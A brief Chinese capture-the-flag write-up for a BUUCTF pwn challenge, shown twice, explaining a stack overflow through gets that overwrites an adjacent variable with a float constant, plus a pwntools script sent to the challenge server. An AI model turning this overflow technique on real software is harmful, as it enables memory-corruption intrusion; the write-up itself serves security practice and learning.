话不多说,直接上题(BUUCTF)

IDA64 反编译

追踪看到 gets

v1 的下面就是 v2,通过溢出改为 v2 的值使条件成立

注意:浮点数要转十六进制
from pwn import *
p = remote("node5.buuoj.cn", 29455)
payload = b'a' * 44 + p64(0x41348000)
p.sendline(payload)
p.interactive()
拿到 flag
© 版权声明
THE END

话不多说,直接上题(BUUCTF)

IDA64 反编译

追踪看到 gets

v1 的下面就是 v2,通过溢出改为 v2 的值使条件成立

注意:浮点数要转十六进制
from pwn import *
p = remote("node5.buuoj.cn", 29455)
payload = b'a' * 44 + p64(0x41348000)
p.sendline(payload)
p.interactive()
拿到 flag
暂无评论内容